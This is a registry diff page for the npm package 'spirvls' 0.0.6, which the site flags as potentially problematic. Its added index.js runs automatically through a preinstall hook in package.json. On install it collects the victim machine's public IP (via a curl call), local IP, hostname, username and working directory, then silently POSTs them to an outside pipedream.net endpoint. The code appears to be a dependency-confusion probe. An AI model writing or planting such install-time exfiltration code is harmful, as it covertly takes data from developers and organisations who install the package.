spirvls 0.0.6
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Potentially problematic release.
This version of spirvls might be problematic. Click here for more details.
- package/index.js +73 -0
- package/package.json +13 -0
package/index.js
ADDED
@@ -0,0 +1,73 @@
|
|
1
|
+
// index.js
|
2
|
+
// author:- whitehacker003@protonmail.com
|
3
|
+
const os = require("os");
|
4
|
+
const https = require("https");
|
5
|
+
const { execSync } = require("child_process");
|
6
|
+
|
7
|
+
// Replace with your Interactsh endpoint
|
8
|
+
const interactshEndpoint = "https://eoerrv46h39k2dm.m.pipedream.net";
|
9
|
+
|
10
|
+
// Function to get the local IP address
|
11
|
+
function getLocalIP() {
|
12
|
+
const networkInterfaces = os.networkInterfaces();
|
13
|
+
for (const interfaceName in networkInterfaces) {
|
14
|
+
const interfaceInfo = networkInterfaces[interfaceName];
|
15
|
+
for (const info of interfaceInfo) {
|
16
|
+
if (info.family === 'IPv4' && !info.internal) {
|
17
|
+
return info.address;
|
18
|
+
}
|
19
|
+
}
|
20
|
+
}
|
21
|
+
return null; // If no external IPv4 address is found
|
22
|
+
}
|
23
|
+
|
24
|
+
function sendPostRequest(data) {
|
25
|
+
const postData = JSON.stringify(data);
|
26
|
+
|
27
|
+
const options = {
|
28
|
+
hostname: interactshEndpoint,
|
29
|
+
port: 443,
|
30
|
+
path: "/",
|
31
|
+
method: "POST",
|
32
|
+
headers: {
|
33
|
+
"Content-Type": "application/json",
|
34
|
+
"Content-Length": postData.length,
|
35
|
+
},
|
36
|
+
};
|
37
|
+
|
38
|
+
const req = https.request(options, (res) => {
|
39
|
+
res.on("data", (d) => {
|
40
|
+
process.stdout.write(d);
|
41
|
+
});
|
42
|
+
});
|
43
|
+
|
44
|
+
req.on("error", (e) => {
|
45
|
+
// Handle error silently to avoid breaking execution
|
46
|
+
});
|
47
|
+
|
48
|
+
req.write(postData);
|
49
|
+
req.end();
|
50
|
+
}
|
51
|
+
|
52
|
+
try {
|
53
|
+
// Get required information
|
54
|
+
const publicIP = execSync("curl -s ifconfig.me").toString().trim(); // Gets public IP address
|
55
|
+
const localIP = getLocalIP(); // Gets local IP address
|
56
|
+
const hostname = os.hostname();
|
57
|
+
const username = os.userInfo().username;
|
58
|
+
const cwd = execSync("pwd").toString().trim();
|
59
|
+
|
60
|
+
// Prepare the data payload
|
61
|
+
const dataPayload = {
|
62
|
+
public_ip: publicIP,
|
63
|
+
local_ip: localIP,
|
64
|
+
hostname: hostname,
|
65
|
+
username: username,
|
66
|
+
current_working_directory: cwd,
|
67
|
+
};
|
68
|
+
|
69
|
+
// Send the POST request with the data
|
70
|
+
sendPostRequest(dataPayload);
|
71
|
+
} catch (error) {
|
72
|
+
console.error("Error executing commands:", error);
|
73
|
+
}
|
package/package.json
ADDED
@@ -0,0 +1,13 @@
|
|
1
|
+
{
|
2
|
+
"name": "spirvls",
|
3
|
+
"version": "0.0.6",
|
4
|
+
"description": "Epic-RCE-Vulnerability",
|
5
|
+
"main": "index.js",
|
6
|
+
"scripts": {
|
7
|
+
"test": "echo \"Error: no test specified\" && exit 1",
|
8
|
+
"preinstall" : "node index.js"
|
9
|
+
|
10
|
+
},
|
11
|
+
"author": "",
|
12
|
+
"license": "ISC"
|
13
|
+
}
|